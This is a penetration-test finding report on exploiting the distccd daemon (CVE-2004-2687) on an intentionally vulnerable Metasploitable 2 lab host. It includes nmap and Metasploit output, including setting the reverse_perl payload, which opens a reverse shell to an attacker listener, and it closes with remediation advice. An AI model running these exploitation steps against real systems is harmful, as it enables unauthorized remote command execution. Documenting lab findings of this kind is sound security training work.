

Finding 05 - distccd Remote Command Execution

Metasploitable 2 | Remote Command Execution / Command Shell

Finding	05
Target	192.168.116.129
Port	3632/TCP
Service	distccd
Version	distccd v1 (GNU) 4.2.4 - Ubuntu 4.2.4-1ubuntu4
Vulnerability	DistCC Daemon Command Execution
CVE	CVE-2004-2687
Severity	High
Metasploit Module	exploit/unix/misc/distcc_exec
Payload	cmd/unix/reverse_perl
Result	Successful command execution; command shell session opened

Executive Summary

The Metasploitable 2 target exposes a distccd service on TCP 3632. Nmap identified distccd v1 (GNU) 4.2.4, and Metasploit identified the module exploit/unix/misc/distcc_exec for DistCC Daemon Command Execution. After an initial reverse-bash payload attempt failed to create a session, the payload was changed to cmd/unix/reverse_perl. The subsequent exploitation succeeded and opened a command shell session on the target. The successful session output showed the user daemon and working directory /tmp.

1. Discovery

Nmap service detection identified TCP 3632 as an open distccd service and fingerprinted the service as distccd v1 (GNU) 4.2.4 on Ubuntu.

Evidence 1 - Nmap Service Detection

```
(root@kali)-[~]
└─# nmap -sV -p3632 192.168.116.129
Starting Nmap 7.95 ( https://nmap.org ) at 2026-09-04 03:10 EEST
Nmap scan report for 192.168.116.129
Host is up (0.0019s latency).

PORT      STATE SERVICE VERSION
3632/tcp  open  distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
MAC Address: 00:0C:29:28:09:12 (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 7.34 seconds
```

Figure 1. Nmap identification of distccd v1 (GNU) 4.2.4 on TCP 3632.

2. Vulnerability Identification

Metasploit search returned exploit/unix/misc/distcc_exec, described as DistCC Daemon Command Execution, with an Excellent rank and an available check.

Evidence 2 - Metasploit Module Discovery

```
msf6 > search distcc

Matching Modules

=====
#  Name                                     Disclosure Date  Rank    Check  Description
--  -
0  exploit/unix/misc/distcc_exec            2002-02-01      excellent Yes     DistCC Daemon Command Execution
```

Figure 2. Metasploit search result for the distcc_exec command-execution module.

3. Exploitation

The target was configured as 192.168.116.129. The initially selected reverse-bash payload did not create a session. The payload was then changed to cmd/unix/reverse_perl. The successful run started a reverse TCP handler on 192.168.116.128:4444 and opened command shell session 4.

4. Exploitation Result

The successful exploitation output states: Command shell session 4 opened, with the connection from the listener at 192.168.116.128:4444 to the target 192.168.116.129. Post-exploitation commands shown in the evidence returned whoami: daemon and pwd: /tmp. This confirms remote command execution and shell access, although the demonstrated shell is a low-privilege daemon account.

Evidence 3 - Successful Command Shell

```
msf6 exploit(unix/misc/distcc_exec) > set payload payload/cmd/unix/reverse_perl
payload => cmd/unix/reverse_perl
msf6 exploit(unix/misc/distcc_exec) > run
[*] Started reverse TCP handler on 192.168.116.128:4444
[*] Command shell session 4 opened (192.168.116.128:4444 -> 192.168.116.129:55243) at 2026-09-04 03:14:25 +0300

whoami
daemon
pwd
/tmp
```

Figure 3. Successful distcc exploitation using reverse_perl and resulting command shell.

5. Impact

An exposed vulnerable DistCC daemon can allow an unauthenticated remote attacker to execute commands on the host. In this assessment, remote command execution was demonstrated with a command shell running as the daemon user. This can enable access to files and processes available to that account and may provide a foothold for further privilege escalation or lateral movement.

6. Remediation

1. Upgrade or remove the vulnerable DistCC installation and use a supported version.
2. Do not expose the DistCC daemon directly to untrusted networks.
3. Restrict TCP 3632 with host/network firewall rules to authorized build systems only.
4. Disable the service when distributed compilation is not required.
5. Run services with the minimum privileges necessary and monitor for unexpected command execution.

7. References

MITRE CVE-2004-2687; Rapid7 Metasploit module: `exploit/unix/misc/distcc_exec`;
Exploit-DB/SearchSploit DistCC daemon command execution.

Assessment note: This finding documents exploitation performed against the intentionally vulnerable Metasploitable 2 laboratory target.